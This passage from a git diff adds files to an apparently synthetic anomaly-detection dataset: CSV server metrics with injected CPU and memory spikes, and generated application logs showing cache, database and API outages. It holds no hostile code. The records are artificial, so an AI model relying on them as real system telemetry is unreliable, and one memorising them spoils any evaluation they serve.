10:05:10 api-gateway[3456]: GET /api/v2/users/341/order-history status=503 Service Unavailable +Jul 03 10:05:15 api-gateway[3456]: GET /api/v2/users/336/order-history status=503 Service Unavailable +Jul 03 10:05:20 api-gateway[3456]: ERROR Connection refused by user-database:5432 +Jul 03 10:05:25 api-gateway[3456]: ERROR Connection to user-database:5432 timed out after 3000ms +Jul 03 10:05:30 api-gateway[3456]: GET /api/v2/users/331/order-history status=503 Service Unavailable +Jul 03 10:05:35 api-gateway[3456]: ERROR Connection refused by user-database:5432 +Jul 03 10:05:40 api-gateway[3456]: ERROR Connection refused by user-database:5432 +Jul 03 10:05:45 api-gateway[3456]: ERROR Connection refused by user-database:5432 +Jul 03 10:05:50 systemd[1]: Starting daily user cleanup... +Jul 03 10:05:55 api-gateway[3456]: GET /api/v2/users/145/profile status=200 OK +Jul 03 10:06:00 api-gateway[3456]: GET /api/v2/users/153/profile status=200 OK +Jul 03 10:06:05 api-gateway[3456]: GET /api/v2/users/177/profile status=200 OK +Jul 03 10:06:10 api-gateway[3456]: GET /api/v2/users/121/profile status=200 OK +Jul 03 10:06:15 api-gateway[3456]: GET /api/v2/users/170/profile status=200 OK +Jul 03 10:06:20 api-gateway[3456]: GET /api/v2/users/180/profile status=200 OK +Jul 03 10:06:25 systemd[1]: Starting daily user cleanup... +Jul 03 10:06:30 api-gateway[3456]: GET /api/v2/users/117/profile status=200 OK +Jul 03 10:06:35 api-gateway[3456]: GET /api/v2/users/147/profile status=200 OK +Jul 03 10:06:40 api-gateway[3456]: GET /api/v2/users/187/profile status=200 OK +Jul 03 10:06:45 api-gateway[3456]: GET /api/v2/users/165/profile status=200 OK +Jul 03 10:06:50 api-gateway[3456]: GET /api/v2/users/153/profile status=200 OK +Jul 03 10:06:55 api-gateway[3456]: GET /api/v2/users/127/profile status=200 OK +Jul 03 10:07:00 systemd[1]: Starting daily user cleanup... +Jul 03 10:07:05 api-gateway[3456]: GET /api/v2/users/131/profile status=200 OK +Jul 03 10:07:10 api-gateway[3456]: GET /api/v2/users/107/profile status=200 OK +Jul 03 10:07:15 api-gateway[3456]: GET /api/v2/users/179/profile status=200 OK +Jul 03 10:07:20 kubelet[2122]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 03 10:07:25 api-gateway[3456]: GET /api/v2/users/115/profile status=200 OK diff --git a/anom_dataset/scenario_13/anom_13_2.csv b/anom_dataset/scenario_13/anom_13_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..d1fdfffad61b4e5cd36a347285680f9b44dd5c99 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T18:00:00Z,21.38,42.59,17.23,2.54,2.07 +2025-07-15T18:00:05Z,25.39,43.94,21.6,2.63,1.26 +2025-07-15T18:00:10Z,30.77,44.6,16.1,2.6,2.15 +2025-07-15T18:00:15Z,35.51,41.12,18.48,2.87,1.69 +2025-07-15T18:00:20Z,39.92,38.53,21.18,2.92,2.38 +2025-07-15T18:00:25Z,29.43,38.99,19.31,2.05,1.78 +2025-07-15T18:00:30Z,20.59,39.32,22.22,2.71,1.75 +2025-07-15T18:00:35Z,25.44,41.3,21.54,2.32,1.23 +2025-07-15T18:00:40Z,28.72,41.15,22.84,1.53,1.54 +2025-07-15T18:00:45Z,22.87,38.22,15.22,2.9,2.03 +2025-07-15T18:00:50Z,25.41,42.68,15.74,2.91,1.32 +2025-07-15T18:00:55Z,20.93,41.73,19.54,2.94,2.38 +2025-07-15T18:01:00Z,23.59,42.6,22.54,2.16,1.51 +2025-07-15T18:01:05Z,33.06,43.05,20.64,2.41,1.02 +2025-07-15T18:01:10Z,37.78,44.33,24.5,2.68,1.9 +2025-07-15T18:01:15Z,39.54,39.66,23.72,2.88,2.13 +2025-07-15T18:01:20Z,27.54,44.78,16.02,2.11,1.8 +2025-07-15T18:01:25Z,25.83,39.0,19.31,2.66,1.65 +2025-07-15T18:01:30Z,23.42,38.13,23.76,1.6,1.19 +2025-07-15T18:01:35Z,21.69,43.72,21.38,2.45,1.03 +2025-07-15T18:01:40Z,30.85,38.82,18.58,2.83,1.96 +2025-07-15T18:01:45Z,32.15,43.34,19.57,1.7,1.69 +2025-07-15T18:01:50Z,27.49,41.23,23.96,2.33,1.44 +2025-07-15T18:01:55Z,38.58,44.12,17.1,2.99,2.43 +2025-07-15T18:02:00Z,25.94,39.2,21.35,2.44,1.64 +2025-07-15T18:02:05Z,27.39,44.7,15.18,2.84,1.13 +2025-07-15T18:02:10Z,23.71,44.97,15.61,2.38,2.34 +2025-07-15T18:02:15Z,37.92,44.27,18.17,1.94,1.02 +2025-07-15T18:02:20Z,20.66,42.0,20.05,1.93,1.18 +2025-07-15T18:02:25Z,29.68,42.33,17.38,2.63,1.11 +2025-07-15T18:02:30Z,14.86,38.32,24.92,0.2,0.25 +2025-07-15T18:02:35Z,6.24,41.04,18.66,0.19,0.37 +2025-07-15T18:02:40Z,14.92,39.17,16.69,0.15,0.21 +2025-07-15T18:02:45Z,12.68,40.14,21.98,0.11,0.24 +2025-07-15T18:02:50Z,11.34,39.36,19.97,0.4,0.2 +2025-07-15T18:02:55Z,14.25,45.46,15.72,0.31,0.22 +2025-07-15T18:03:00Z,7.3,45.33,17.31,0.37,0.17 +2025-07-15T18:03:05Z,14.74,48.07,17.35,0.3,0.36 +2025-07-15T18:03:10Z,5.33,44.51,21.73,0.37,0.14 +2025-07-15T18:03:15Z,13.13,47.49,20.05,0.18,0.37 +2025-07-15T18:03:20Z,13.87,46.36,20.43,0.26,0.29 +2025-07-15T18:03:25Z,9.98,51.62,18.5,0.22,0.11 +2025-07-15T18:03:30Z,8.17,48.6,17.67,0.1,0.14 +2025-07-15T18:03:35Z,5.28,54.19,23.06,0.39,0.29 +2025-07-15T18:03:40Z,11.4,51.29,18.67,0.21,0.11 +2025-07-15T18:03:45Z,92.42,50.73,24.36,0.4,0.23 +2025-07-15T18:03:50Z,83.15,52.44,16.47,0.11,0.31 +2025-07-15T18:03:55Z,94.7,52.42,21.73,0.12,0.1 +2025-07-15T18:04:00Z,82.82,58.14,18.21,0.24,0.23 +2025-07-15T18:04:05Z,86.44,56.96,23.55,0.4,0.1 +2025-07-15T18:04:10Z,87.69,56.71,18.01,0.13,0.29 +2025-07-15T18:04:15Z,81.7,57.95,17.67,0.39,0.26 +2025-07-15T18:04:20Z,78.27,57.04,19.44,0.33,0.36 +2025-07-15T18:04:25Z,78.28,58.77,20.93,0.3,0.38 +2025-07-15T18:04:30Z,90.96,59.42,19.92,0.15,0.37 +2025-07-15T18:04:35Z,79.79,59.58,24.24,0.11,0.12 +2025-07-15T18:04:40Z,84.2,60.66,19.0,0.25,0.33 +2025-07-15T18:04:45Z,85.85,61.59,17.13,0.11,0.39 +2025-07-15T18:04:50Z,82.42,59.44,24.64,0.36,0.17 +2025-07-15T18:04:55Z,83.64,62.85,19.95,0.18,0.1 +2025-07-15T18:05:00Z,87.65,63.51,21.15,0.34,0.28 +2025-07-15T18:05:05Z,78.94,65.0,20.06,0.2,0.27 +2025-07-15T18:05:10Z,94.57,69.16,22.55,0.25,0.17 +2025-07-15T18:05:15Z,77.11,62.67,20.6,0.2,0.23 +2025-07-15T18:05:20Z,86.98,66.63,23.5,0.32,0.22 +2025-07-15T18:05:25Z,82.82,67.88,16.61,0.35,0.34 +2025-07-15T18:05:30Z,94.21,69.38,21.21,0.32,0.34 +2025-07-15T18:05:35Z,91.82,67.03,22.88,0.2,0.17 +2025-07-15T18:05:40Z,76.93,72.36,23.07,0.24,0.34 +2025-07-15T18:05:45Z,84.48,72.15,19.17,0.25,0.24 +2025-07-15T18:05:50Z,29.45,42.66,23.67,2.52,1.85 +2025-07-15T18:05:55Z,24.56,41.27,24.71,2.05,1.4 +2025-07-15T18:06:00Z,27.5,39.03,24.86,1.63,1.76 +2025-07-15T18:06:05Z,22.93,42.29,20.64,1.63,1.59 +2025-07-15T18:06:10Z,33.15,42.58,20.4,1.8,2.43 +2025-07-15T18:06:15Z,39.43,44.27,22.5,2.02,1.18 +2025-07-15T18:06:20Z,32.41,43.91,20.04,2.23,2.38 +2025-07-15T18:06:25Z,25.78,44.84,16.54,2.12,1.92 +2025-07-15T18:06:30Z,24.48,41.74,21.3,1.61,1.25 +2025-07-15T18:06:35Z,22.56,44.32,23.29,2.27,1.48 +2025-07-15T18:06:40Z,36.42,44.62,20.77,2.9,2.38 +2025-07-15T18:06:45Z,21.87,42.74,19.65,2.39,2.21 +2025-07-15T18:06:50Z,25.78,40.31,18.04,2.81,1.78 +2025-07-15T18:06:55Z,39.45,38.54,20.23,2.47,1.45 +2025-07-15T18:07:00Z,27.9,41.61,18.02,2.9,1.01 +2025-07-15T18:07:05Z,28.57,43.81,15.29,1.99,1.5 +2025-07-15T18:07:10Z,20.9,44.66,16.61,2.26,1.93 +2025-07-15T18:07:15Z,32.63,44.39,17.86,2.7,2.35 +2025-07-15T18:07:20Z,32.87,44.89,18.49,2.73,1.48 +2025-07-15T18:07:25Z,39.12,41.26,16.74,2.75,1.17 diff --git a/anom_dataset/scenario_13/anom_13_2.log b/anom_dataset/scenario_13/anom_13_2.log new file mode 100644 index 0000000000000000000000000000000000000000..0bd785cb644b0791bbe6fdb9013a814920ccc0fa --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_2.log @@ -0,0 +1,121 @@ +Jul 15 18:00:02 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:00:08 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:00:14 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:00:15 web-app[3452]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 18:00:20 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:00:26 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:00:34 web-app[3452]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 18:00:39 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:00:41 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:00:45 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:00:51 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:00:55 web-app[3452]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 18:01:03 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:01:05 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:01:13 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:01:16 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:01:23 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:01:28 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:01:33 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:01:37 web-app[3452]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 18:01:41 web-app[3452]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 18:01:45 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:01:53 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:01:56 web-app[3452]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 18:02:03 web-app[3452]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 18:02:08 web-app[3452]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 18:02:10 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:02:18 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:02:22 web-app[3452]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 18:02:27 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:02:32 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:02:38 web-app[3452]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 18:02:38 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:02:41 web-app[3452]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 18:02:44 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:02:47 web-app[3452]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 18:02:50 web-app[3452]: INFO: Service health check failed for dependency 'redis-cache' +Jul 15 18:02:53 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:02:55 web-app[3452]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 18:03:01 web-app[3452]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 18:03:03 web-app[3452]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 18:03:05 web-app[3452]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 18:03:08 web-app[3452]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 18:03:12 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:03:13 web-app[3452]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 18:03:17 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:03:18 web-app[3452]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 18:03:20 web-app[3452]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 18:03:20 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:03:25 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:03:26 web-app[3452]: WARN: Retrying connection to inventory API (attempt 3/5)... +Jul 15 18:03:30 web-app[3452]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 18:03:31 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:03:38 web-app[3452]: INFO: Service health check failed for dependency 'redis-cache' +Jul 15 18:03:39 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:03:44 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:03:45 web-app[3452]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 18:03:45 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:03:50 web-app[3452]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 18:03:51 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:03:55 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:04:03 web-app[3452]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 18:04:08 web-app[3452]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 18:04:09 web-app[3452]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 18:04:12 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:04:19 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:04:19 web-app[3452]: WARN: Retrying connection to inventory API (attempt 3/5)... +Jul 15 18:04:21 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:04:23 web-app[3452]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 18:04:26 web-app[3452]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 18:04:26 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:04:34 web-app[3452]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 18:04:37 web-app[3452]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 18:04:39 web-app[3452]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 18:04:43 web-app[3452]: WARN: Retrying connection to inventory API (attempt 3/5)... +Jul 15 18:04:44 web-app[3452]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 18:04:46 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:04:46 web-app[3452]: INFO: Service health check failed for dependency 'redis-cache' +Jul 15 18:04:50 web-app[3452]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 18:04:50 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:04:55 web-app[3452]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 18:04:57 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:05:00 web-app[3452]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 18:05:01 web-app[3452]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 18:05:07 web-app[3452]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 18:05:09 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:05:12 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:05:13 web-app[3452]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 18:05:16 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:05:21 web-app[3452]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 18:05:22 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:05:27 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:05:29 web-app[3452]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 18:05:30 web-app[3452]: WARN: Retrying connection to inventory API (attempt 3/5)... +Jul 15 18:05:32 web-app[3452]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 18:05:36 web-app[3452]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 18:05:36 web-app[3452]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 18:05:43 web-app[3452]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 18:05:44 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:05:45 web-app[3452]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 18:05:49 web-app[3452]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 18:05:54 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:05:55 web-app[3452]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 18:06:03 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:06:07 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:06:10 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:06:17 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:06:21 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:06:29 web-app[3452]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 18:06:32 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:06:37 web-app[3452]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 18:06:44 web-app[3452]: INFO: Background job 'report-generator' started. +Jul 15 18:06:48 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:06:51 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:06:58 web-app[3452]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 18:07:00 web-app[3452]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 18:07:07 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:07:10 web-app[3452]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 18:07:15 web-app[3452]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 18:07:24 web-app[3452]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 18:07:25 web-app[3452]: INFO: Background job 'report-generator' started. diff --git a/anom_dataset/scenario_13/anom_13_20.csv b/anom_dataset/scenario_13/anom_13_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..063e323d3c50804d2a1b91bb90df93379f272b0f --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.43,38.11,37.32,1.17,0.94 +2025-07-02T12:00:05Z,18.03,42.31,27.53,0.88,1.11 +2025-07-02T12:00:10Z,10.79,36.29,23.78,1.4,1.28 +2025-07-02T12:00:15Z,12.31,41.43,33.91,1.42,0.64 +2025-07-02T12:00:20Z,12.65,42.34,21.79,1.31,1.0 +2025-07-02T12:00:25Z,12.72,41.76,27.35,0.93,0.79 +2025-07-02T12:00:30Z,17.66,43.11,25.87,1.33,0.77 +2025-07-02T12:00:35Z,17.35,42.46,27.24,1.58,0.91 +2025-07-02T12:00:40Z,12.71,43.05,24.06,1.45,0.93 +2025-07-02T12:00:45Z,16.68,39.14,33.83,0.78,1.15 +2025-07-02T12:00:50Z,10.36,35.9,19.38,1.28,0.89 +2025-07-02T12:00:55Z,19.11,37.94,30.81,1.2,1.08 +2025-07-02T12:01:00Z,14.03,37.64,28.79,0.96,1.01 +2025-07-02T12:01:05Z,14.46,38.06,31.51,0.73,1.13 +2025-07-02T12:01:10Z,18.17,41.45,19.49,1.13,0.75 +2025-07-02T12:01:15Z,14.96,40.95,31.74,1.32,0.68 +2025-07-02T12:01:20Z,16.07,36.94,48.21,1.22,0.83 +2025-07-02T12:01:25Z,18.95,42.45,37.79,1.28,0.74 +2025-07-02T12:01:30Z,13.09,39.97,32.63,0.99,0.6 +2025-07-02T12:01:35Z,15.68,37.99,26.44,1.26,0.97 +2025-07-02T12:01:40Z,16.67,40.62,36.46,1.27,1.0 +2025-07-02T12:01:45Z,14.17,41.18,21.61,1.21,1.17 +2025-07-02T12:01:50Z,13.5,43.29,31.07,1.27,0.64 +2025-07-02T12:01:55Z,18.25,40.13,28.8,1.11,0.77 +2025-07-02T12:02:00Z,19.58,40.15,30.2,1.52,1.04 +2025-07-02T12:02:05Z,22.44,35.89,34.52,1.02,0.93 +2025-07-02T12:02:10Z,10.06,41.22,32.88,0.92,1.08 +2025-07-02T12:02:15Z,12.92,39.62,33.48,1.17,1.06 +2025-07-02T12:02:20Z,17.1,38.5,26.23,1.08,1.29 +2025-07-02T12:02:25Z,13.41,40.54,23.32,1.09,1.16 +2025-07-02T12:02:30Z,9.48,41.4,28.93,0.13,0.16 +2025-07-02T12:02:35Z,9.5,41.23,28.91,0.09,0.12 +2025-07-02T12:02:40Z,8.57,43.87,31.63,0.24,0.2 +2025-07-02T12:02:45Z,5.85,44.11,29.14,0.22,0.16 +2025-07-02T12:02:50Z,11.81,44.01,28.16,0.27,0.23 +2025-07-02T12:02:55Z,4.72,45.59,27.89,0.23,0.11 +2025-07-02T12:03:00Z,4.25,47.72,29.72,0.2,0.2 +2025-07-02T12:03:05Z,6.78,48.63,32.4,0.21,0.3 +2025-07-02T12:03:10Z,6.61,50.03,29.42,0.24,0.26 +2025-07-02T12:03:15Z,6.23,49.32,32.68,0.2,0.16 +2025-07-02T12:03:20Z,73.17,51.21,27.86,0.18,0.26 +2025-07-02T12:03:25Z,65.1,50.66,27.66,0.16,0.2 +2025-07-02T12:03:30Z,74.89,51.08,31.3,0.17,0.14 +2025-07-02T12:03:35Z,67.25,52.84,29.65,0.23,0.19 +2025-07-02T12:03:40Z,76.2,53.83,32.22,0.26,0.2 +2025-07-02T12:03:45Z,75.23,55.86,38.04,0.2,0.16 +2025-07-02T12:03:50Z,71.9,56.2,32.41,0.28,0.25 +2025-07-02T12:03:55Z,71.62,56.16,30.83,0.18,0.14 +2025-07-02T12:04:00Z,79.57,56.74,32.66,0.26,0.3 +2025-07-02T12:04:05Z,77.87,60.37,30.04,0.2,0.19 +2025-07-02T12:04:10Z,92.0,57.95,28.61,0.14,0.24 +2025-07-02T12:04:15Z,85.49,60.82,32.56,0.21,0.21 +2025-07-02T12:04:20Z,68.66,62.36,31.37,0.22,0.23 +2025-07-02T12:04:25Z,67.42,63.25,30.41,0.2,0.28 +2025-07-02T12:04:30Z,70.93,61.82,26.04,0.1,0.24 +2025-07-02T12:04:35Z,69.63,63.45,30.98,0.26,0.2 +2025-07-02T12:04:40Z,68.56,66.8,28.37,0.24,0.2 +2025-07-02T12:04:45Z,81.85,66.57,26.88,0.16,0.19 +2025-07-02T12:04:50Z,73.95,67.12,24.9,0.08,0.2 +2025-07-02T12:04:55Z,73.75,67.71,29.88,0.21,0.06 +2025-07-02T12:05:00Z,69.57,69.92,33.41,0.22,0.17 +2025-07-02T12:05:05Z,60.76,68.86,33.02,0.2,0.27 +2025-07-02T12:05:10Z,71.64,69.22,27.15,0.24,0.14 +2025-07-02T12:05:15Z,71.23,70.85,32.64,0.18,0.22 +2025-07-02T12:05:20Z,73.47,71.94,31.72,0.11,0.22 +2025-07-02T12:05:25Z,84.74,72.99,29.08,0.2,0.14 +2025-07-02T12:05:30Z,75.49,75.11,33.2,0.2,0.19 +2025-07-02T12:05:35Z,75.25,74.96,27.32,0.21,0.09 +2025-07-02T12:05:40Z,73.08,74.52,29.2,0.21,0.2 +2025-07-02T12:05:45Z,79.71,75.25,29.17,0.08,0.17 +2025-07-02T12:05:50Z,76.8,69.2,26.39,1.24,1.02 +2025-07-02T12:05:55Z,69.15,63.53,20.09,1.05,1.17 +2025-07-02T12:06:00Z,67.91,58.46,22.72,1.27,0.85 +2025-07-02T12:06:05Z,66.35,54.98,26.11,1.35,0.96 +2025-07-02T12:06:10Z,60.73,51.97,32.07,1.19,1.32 +2025-07-02T12:06:15Z,58.72,49.6,32.66,1.26,1.01 +2025-07-02T12:06:20Z,53.89,46.97,36.31,1.16,0.74 +2025-07-02T12:06:25Z,56.54,45.54,28.75,1.03,1.46 +2025-07-02T12:06:30Z,54.35,44.61,28.91,1.18,1.27 +2025-07-02T12:06:35Z,45.53,43.68,35.8,0.93,1.18 +2025-07-02T12:06:40Z,45.6,42.81,26.99,1.33,0.9 +2025-07-02T12:06:45Z,39.85,42.66,33.68,1.08,0.84 +2025-07-02T12:06:50Z,40.88,42.49,29.67,1.23,0.76 +2025-07-02T12:06:55Z,42.06,42.15,37.58,1.46,1.03 +2025-07-02T12:07:00Z,30.04,42.04,33.28,1.0,0.89 +2025-07-02T12:07:05Z,28.67,42.15,33.68,1.61,0.89 +2025-07-02T12:07:10Z,24.68,41.47,23.24,1.28,1.16 +2025-07-02T12:07:15Z,25.27,40.88,34.84,1.29,0.81 +2025-07-02T12:07:20Z,16.93,40.06,25.09,1.01,1.14 +2025-07-02T12:07:25Z,15.06,40.12,28.45,1.0,1.09 diff --git a/anom_dataset/scenario_13/anom_13_20.log b/anom_dataset/scenario_13/anom_13_20.log new file mode 100644 index 0000000000000000000000000000000000000000..c61599271645f79a3f350ee19b730b6591337955 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_20.log @@ -0,0 +1,90 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:05 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:00:10 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:00:15 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:00:20 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:00:25 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:00:30 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:00:35 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:00:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:45 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:00:50 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:00:55 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:00 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:01:05 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:01:10 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:01:15 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:01:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:25 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:01:30 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:01:35 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:01:40 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:01:45 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:01:50 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:55 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:02:00 systemd[1]: 